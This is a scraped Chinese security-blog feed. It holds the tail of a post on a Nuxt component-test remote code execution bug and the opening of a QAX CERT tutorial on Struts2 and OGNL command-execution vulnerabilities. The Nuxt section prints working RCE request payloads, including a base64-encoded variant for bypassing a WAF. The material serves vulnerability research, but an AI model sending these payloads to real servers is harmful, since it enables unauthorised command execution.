src="https://wechat2rss.xlab.app/img-proxy/?k=afde56f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUiczet4ypca3WbbvkGITHFG974C9J4FSdagwN1QKTbew2UZ4htJ1aUQQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-wrap: wrap;margin-top: 8px;">RCE + 回显：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer">/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error((await%20import(&#39;child_process&#39;)).execSync(&#39;whoami&#39;));</span></p></pre></p><p style="text-wrap: wrap;" powered-by="xiumi.us"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5148148148148148" data-s="300,640" style="font-size: 14px;letter-spacing: 0.578px;text-align: center;text-wrap: wrap;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ed4c6890&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUyUnExZwtoTsS7FNY2mL1VwGjIHibGxicODXxuSJlCbzkaBwchw1fhcfg%2F640%3Fwx_fmt%3Dpng"/></p><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>03</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>漏洞检测</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">/__nuxt_component_test__/?path=data%<span class="code-snippet__number">3</span>atext/javascript,<span class="code-snippet__keyword">throw</span>%<span class="code-snippet__number">20</span><span class="code-snippet__keyword">new</span>%<span class="code-snippet__number">20</span>Error(Buffer.from(%<span class="code-snippet__number">22</span>medi0crity%<span class="code-snippet__number">22</span>).toString(%<span class="code-snippet__number">27b</span>ase64%<span class="code-snippet__number">27</span>));</span></p></pre></p><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5462962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d4808ffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUVrTlKL0xMns7eibsYtwicicDjehDVfGrQU812FNNIPowriajqE34iaPGs3w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-wrap: wrap;">另：均可进行编码绕 WAF 等，如：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">/__nuxt_component_test__/?path=data%<span class="code-snippet__number">3</span>atext/javascript%<span class="code-snippet__number">3b</span>charset%<span class="code-snippet__number">3</span>dutf<span class="code-snippet__number">-8</span>%<span class="code-snippet__number">3b</span>base64,KGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5leGVjU3luYygnY2FsYycp</span></p></pre></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6e136df1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUarMKsenGiccVEM5Dp92KYcByNN9Hlcr3F51UMFOTnqiamfxee6px0trQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=afde56f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUiczet4ypca3WbbvkGITHFG974C9J4FSdagwN1QKTbew2UZ4htJ1aUQQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ed4c6890&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUyUnExZwtoTsS7FNY2mL1VwGjIHibGxicODXxuSJlCbzkaBwchw1fhcfg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d4808ffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUVrTlKL0xMns7eibsYtwicicDjehDVfGrQU812FNNIPowriajqE34iaPGs3w%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484208">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=68a57820&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484208%26idx%3D1%26sn%3D275aa1ed6b05728125415b73dc0f73b6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 20 Jun 2023 19:07:00 +0800</pubDate>
    </item>
    <item>
      <title>从零带你看struts2中ognl命令执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484181&amp;idx=1&amp;sn=383b9aa60a94117d2e262bc873d3bf7c</link>
      <description>转载记录</description>
      <content:encoded><![CDATA[<p>
<span>medi0cr1ty</span> <span>2021-04-22 20:21</span> <span style="display: inline-block;"></span>
</p>

<p>转载记录</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=43af45b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgZibVCz8iaMFOVtibqfoVU3juIQANia1QTUTfRkoZx2gs2Kynz3FInia1HYEraVbNFrEbMmCcISp5ibNMQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(0, 128, 255);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">本文作者  medi0cr1ty @ QAX CERT</span></p><div data-tools="135编辑器" data-id="94716"><div><div style="padding-top: 15px;display: -webkit-box;-webkit-box-pack: end;-webkit-box-align: center;box-sizing: border-box;"><p style="width: 70px;transform: rotate(0deg);"><img data-ratio="0.38141809290953543" style="width: 70px;vertical-align: middle;" data-type="gif" data-w="409" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e53188e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FEkibxOB3fs4icwQQAZE6MBepadE7zAutkviaEmicgZWqGCPAvRDxD3EhVvrLJQckeqTGqC7Hmc08MTUxXeaMq5pVXw%2F640%3Fwx_fmt%3Dgif"/></p></div><div style="margin-top: -10px;border-top: 1px solid rgb(26, 149, 255);border-bottom: 1px solid rgb(26, 149, 255);box-sizing: border-box;border-right: none;border-left: none;"><div style="padding: 20px 5px;box-sizing: border-box;"><div data-autoskip="1" style="letter-spacing: 1.5px;line-height: 1.75em;"><p style="font-size: 14px;text-align: left;"><span style="color: rgb(0, 82, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">hi!! 新面孔打个招呼~最近花了蛮长时间看 Struts2 的漏洞，可能某些安全研究人员（像我）会选择 Struts2 作为入手 java 研究的第一个框架，毕竟最早实现 MVC（Model+View+Controller） 模式的 java web 框架就是 struts 了。所以输出这篇文章记录下我的总结以及理解，如果能对你有所帮助就更好了 ~！ </span></p><p style="font-size: 14px;text-align: left;"><span style="color: rgb(0, 82, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">本文不会对 struts2 漏洞的调用链跟进进行阐述，仅是从 struts2 框架中通过 ognl 产生命令执行漏洞的位置以及 struts2 版本更新安全防护升级相应命令执行 PoC 的更新两个角度进行切入。另如有错误烦请指正，谢谢！</span></p></div></div></div><div style="margin-top: -20px;display: -webkit-box;-webkit-box-pack: justify;-webkit-box-align: center;"><p style="width: 70px;line-height: 15px;background: rgb(255, 255, 255);"><img data-ratio="0.38141809290953543" style="width: 70px;vertical-align: middle;" data-type="gif" data-w="409" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e53188e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FEkibxOB3fs4icwQQAZE6MBepadE7zAutkviaEmicgZWqGCPAvRDxD3EhVvrLJQckeqTGqC7Hmc08MTUxXeaMq5pVXw%2F640%3Fwx_fmt%3Dgif"/></p></div></div></div><p style="text-align: left;"><span style="color: rgb(255, 0, 0);font-size: 15px;">声明：本篇文章由 medi0cr1ty @ QAX CERT原创，仅用于技术研究，不恰当使用会造成危害，严禁违法使用 ，否则后果自负。</span></p><div data-tools="135编辑器" data-id="92498" style="white-space: normal;"><div style="padding-top: 15px;padding-bottom: 15px;display: flex;justify-content: center;box-sizing: border-box;"><div style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4icwQQAZE6MBepadE7zAutkvRdff2YOByCEPUI1nyGQBTKGumrWfKJ08SA8VFicmCJDqFPWT9hSj6kQ/640?wx_fmt=png&#34;);background-position: left top;background-repeat: no-repeat;background-size: 30px;"><div style="padding: 8px 12px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4icwQQAZE6MBepadE7zAutkvGBkz2ibZ09ib2f5zH6Lop82OZV9zwibnK3Uk9SLxDWXb2xunWu2ibpAuWQ/640?wx_fmt=png&#34;);background-position: right bottom;background-size: 30px;background-repeat: no-repeat;box-sizing: border-box;"><p data-brushtype="text" style="padding-right: 20px;padding-left: 20px;line-height: 30px;background-color: rgb(12, 118, 240);font-size: 16px;color: rgb(255, 255, 255);box-sizing: border-box;text-align: center;"><span style="font-size: 20px;">QAX CERT</span></p></div></div></div></div><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">00</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="280:338">文章导航</p></div></div></div></div><div data-tools="135编辑器" data-id="99373"><div style="margin: 10px auto;text-align: left;"><div><div style="display: flex;justify-content: flex-start;align-items: flex-start;"><div style="display: flex;justify-content: center;align-items: center;"><div data-role="outer" label="Powered by 135editor.com"><div data-tools="135编辑器" data-id="99373" style="box-sizing: border-box;"><div style="margin: 10px auto;text-align: left;box-sizing: border-box;"><div style="box-sizing: border-box;"><div style="display: flex;justify-content: flex-start;align-items: flex-start;box-sizing: border-box;"><p data-brushtype="text" style="box-sizing: border-box;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong><span style="caret-color: red;">  对 struts2 框架进行介绍；</span></strong></span></p></div></div><div style="box-sizing: border-box;"><div style="display: flex;justify-content: flex-start;align-items: flex-start;box-sizing: border-box;"><p data-brushtype="text" style="box-sizing: border-box;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong><span style="caret-color: red;">  对 struts2 框架 OGNL 语法进行介绍；</span></strong></span></p></div></div><div style="box-sizing: border-box;"><div hm_fix="334:373" style="display: flex;justify-content: flex-start;align-items: flex-start;box-sizing: border-box;"><p style="padding-right: 10px;padding-left: 10px;font-size: 16px;font-weight: bold;letter-spacing: 1.5px;align-self: flex-end;color: rgb(73, 103, 201);"><span style="color: rgb(0, 0, 0);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">struts2 命令执行系列漏洞产生的位置；</span></p></div></div><div style="box-sizing: border-box;"><div hm_fix="334:373" style="display: flex;justify-content: flex-start;align-items: flex-start;box-sizing: border-box;"><p style="padding-right: 10px;padding-left: 10px;font-size: 16px;font-weight: bold;letter-spacing: 1.5px;align-self: flex-end;color: rgb(73, 103, 201);"><span style="color: rgb(0, 0, 0);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">struts2 版本变化对应 PoC 的变化</span></p></div></div></div></div></div></div></div></div></div></div><div data-role="outer" label="Powered by 135editor.com"><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">01</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="260:266">struts2 框架介绍</p></div></div></div></div><p style="text-align:left;"><span style="font-size: 15px;caret-color: red;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">struts2 由 struts1 升级得名，而其中却是采用 Webwork2 作为其代码基础，完全摒弃 struts1 的设计思想及代码，并以 xwork 作为底层实现的核心，以 ognl 作为浏览器与 java 对象数据流转沟通的语言，实现不同形式数据之间的转换与通信。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">可以一起看一下 struts2 中一个请求从进入到返回响应会经历哪些过程以及 xwork 核心中各个元素如何配合让程序运转。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">下图为请求从输入到输出的过程：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.1719077568134173" data-s="300,640" style="" data-type="png" data-w="954" src="https://wechat2rss.xlab.app/img-proxy/?k=53467415&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMibnibFicmkEqq9fo1GLt3UVkUkb0DMkdm5RmeWqGsUHckaQFhZRQZCiaAQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">（图出自</span><a href="https://blog.csdn.net/qq_32166627/article/details/70050012" target="_blank">https://blog.csdn.net/qq_32166627/article/details/70050012</a> <span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">）</span></span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">首先当 struts2 项目启动时，会先加载 web.xml ，由其中定义的入口程序 StrutsPrepareAndExecuteFilter 进行容器的初始化以及转发我们的请求。由其中的 init 函数进行初始化，加载配置文件信息，对内置对象进行创建及缓存，创建接下来 struts2 操作的运行环境。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">由 doFilter 函数中对封装成 HttpServletRequest 的 http 请求进行预处理以及转发执行。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">在这期间 struts2 需要知道这个请求具体由哪个 action 的哪个方法处理，那么在 doFilter 中，在这里会进行请求和 action 之间的映射，具体为根据输入的 url 截取相关信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping 对象属性中，属性包括了请求的 action 、method 、param 、namespace 等（也就是图中的第 3 步）。当然不一定请求的 action ，比如请求 jsp 文件等，那么 ActionMapping 映射为空，则不由 struts2 转发处理。不为空则由 ActionProxy 根据 <strong>ActionMapping </strong><strong>映射信息</strong>以及 <strong>ConfigurationManager </strong><strong>配置信息</strong>，找到我们具体要访问的 Action 类（也是图中的 6、7 步）。接着通过 ActionProxy 创建 ActionInvocation 实例，由 ActionInvocation 实例调度访问 Action 。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">在访问 Action 之前，会先执行一个拦截器栈，在拦截器栈中会对请求进行一些处理，比如在 ParametersInterceptor 中将参数通过 setter 、getter 方法对 Action 的属性赋值，在 ConversionErrorInterceptor 中对参数类型转换出错时进行拦截处理等。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">接下来才会去访问 Action 类。执行完成返回一个结果，结果可能是视图文件，也有可能是去访问另一个 action ，那么如果是访问另一个 action 就重新进行映射，由 ActionProxy 创建 ActionInvocation 进行调度等，如果是返回一个视图文件，那么逆序拦截器栈执行完，最终通过 HTTPServletResponse 返回响应。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">前面洋洋洒洒一大堆，其中有一些比如 ActionProxy 、ActionInvocation 等类可能是陌生的，所以我们可以看一下各个元素。其实上面流程中由 ActionProxy 接管请求信息起，就是 xwork 框架的入口了。下图为 xwork 的宏观示意图。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.956081081081081" data-s="300,640" style="" data-type="png" data-w="888" src="https://wechat2rss.xlab.app/img-proxy/?k=2bf3097f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMQj4dBg2xz29INhfSsYibaT8uDw2qJO5MGI7Ufm4wLdre9Iddd65sErw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这些节点元素里面可以分为负责请求响应的执行元素（<strong>控制流元素</strong>）以及进行请求响应所依赖的数据元素（<strong>数据流元素</strong>）。而执行元素中负责定义事件处理的基本流程的：<strong>Interceptor</strong>（拦截器，对 Action 的逻辑扩展）、<strong> Action</strong>（核心处理类）、 <strong>Result</strong>（执行结果，负责对 Action 的响应进行逻辑跳转），以及负责调度执行的：<strong>ActionProxy </strong>（提供一个无干扰的执行环境）、<strong>ActionInvocation</strong>（组织调度 Action 、Interceptor 、Result 节点执行顺序的核心调度器）。而数据流元素则包括了 <strong>ActionContext </strong>以及 <strong>ValueStack </strong>。其中 ActionContext 中提供了 xwork 进行事件处理过程中需要用到的框架对象（比如：container、ValueStack、actionInvocation 等）以及数据对象（比如：session、application、parameters 等）。而 ValueStack 则主要对 ognl 计算进行扩展，是进行数据访问、 ognl 计算的场所，在 xwork 中实现了 ValueStack 的类就是 OgnlValueStack 。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">以上这些概念可能对理解 struts2 框架有所帮助。那么回到主题 struts2 中 ognl 所产生的命令执行的漏洞，就不得不提一些概念，比如 Ognl 是什么等。</span></p><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">02</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="287:264">struts2 框架 OGNL 语法</p></div></div></div></div><p style="text-align:left;"><span style="font-size: 15px;caret-color: red;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">struts2 中使用 Ognl 作为数据流转的“催化剂”。要知道在视图展现中，我们看到的都是字符串，而我们进行逻辑处理时的数据是丰富的，可能是某个类对象，那么如果我们想在页面中展示对象数据就需要一个转换器，这个转换器就是常说的表达式引擎，他负责将对象翻译成字符串，当然这个关系不是单向的，他也可以通过规则化的字符串翻译为对对象的操作。struts2 使用了 ognl 作为他的翻译官，ognl 不仅仅应用于页面字符串与对象数据转换，在 struts2 中各个模块进行数据处理时也会用到。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">进行 ognl 表达式计算最主要的元素包括：表达式、 root 对象、上下文环境（ context ）。其中表达式表达了这次 ognl 解析要干什么， root 对象表示通常 ognl 操作的对象，而上下文环境表示通常 ognl 运行的环境。而 root 对象和 context 上下文环境都是 OgnlValueStack 的属性值。如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.44549266247379454" data-s="300,640" style="" data-type="png" data-w="954" src="https://wechat2rss.xlab.app/img-proxy/?k=dfc67e5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMcw10KNe7CPEGR2ibFDArKgP8A2CXZkUgpkSTnZKJWvPnrALicmmlcdHA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">而其中 root 对象是一个栈结构，每一次请求都会将请求的 action 压入 root 栈顶，所以我们在 url 中可以输入 action 中的属性进行赋值，在参数拦截器中会从 root 栈中从栈顶到栈底依次找同名的属性名进行赋值。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4333821376281113" data-s="300,640" style="" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=580f74d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMwLR9W2Gy3muBKGxfkhqaUnictEjl54fibTQmicksthf3jmUkJh0WteuOQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">context 对象是一个 map 结构，其中 key 为对象的引用，value 为对象具体的存储信息。（这其中还存储了 OgnlValueStack 的引用）</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.8487467588591184" data-s="300,640" style="" data-type="png" data-w="1157" src="https://wechat2rss.xlab.app/img-proxy/?k=60d4bec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMBG5rOff4hIjQTGib4k143OJYPcKWuibQ0MYfUESg8VNha0qmDuB3uLWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">可以看看 Ognl 怎么对 OgnlValueStack 中的对象进行操作。</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">对 root 对象的访问：</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">name   // 获取 root 对象中 name 属性的值</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">department.name   // 获取 root 对象中 department 属性的 name 属性的值</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">department[&#39;name&#39;] 、 department[&#34;name&#34;]</span></p></li></ul><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">对 context 上下文环境的访问：</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">#introduction  // 获取上下文环境中名为 introduction 对象的值</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">#parameters.user  // 获取上下文环境中 parameters 对象中的 user 属性的值</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">#parameters[&#39;user&#39;] 、 #parameters[&#34;user&#34;]</span></p></li></ul><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">对静态变量 / 方法的访问：@[class]@[field/method]</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">@com.example.core.Resource@ENABLE  // 访问 com.example.core.Resource 类中 ENABLE 属性</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">@com.example.core.Resource@get()   // 调用 com.example.core.Resource 类中 get 方法</span></p></li></ul><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">方法调用：类似 java 方法调用</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">group.containsUser(#requestUser)  // 调用 root 对象中 group 中的 containsUser 方法，并传入 context 中名为 requestUser 的对象作为参数</span></p></li></ul></ul><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">03</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="290:260">struts2 中 ognl 命令执行漏洞产生的位置</p></div></div></div></div><p style="text-align:left;"><span style="font-size: 15px;caret-color: red;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">有了前面的基础知识，可以逐渐步入正题。简要总结了 struts2 中 ognl 命令执行漏洞在框架中产生的位置及其原因。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5303388494877856" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=fcc4301d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMAIWlMrpib0MVNQ104TdphqX2gc8xJTz1OkJvaEysianrg4qKgm5Pv8lw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">图中的赋值内容就是我们之后的 PoC 内容，进而解析执行触发。</span></p><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: 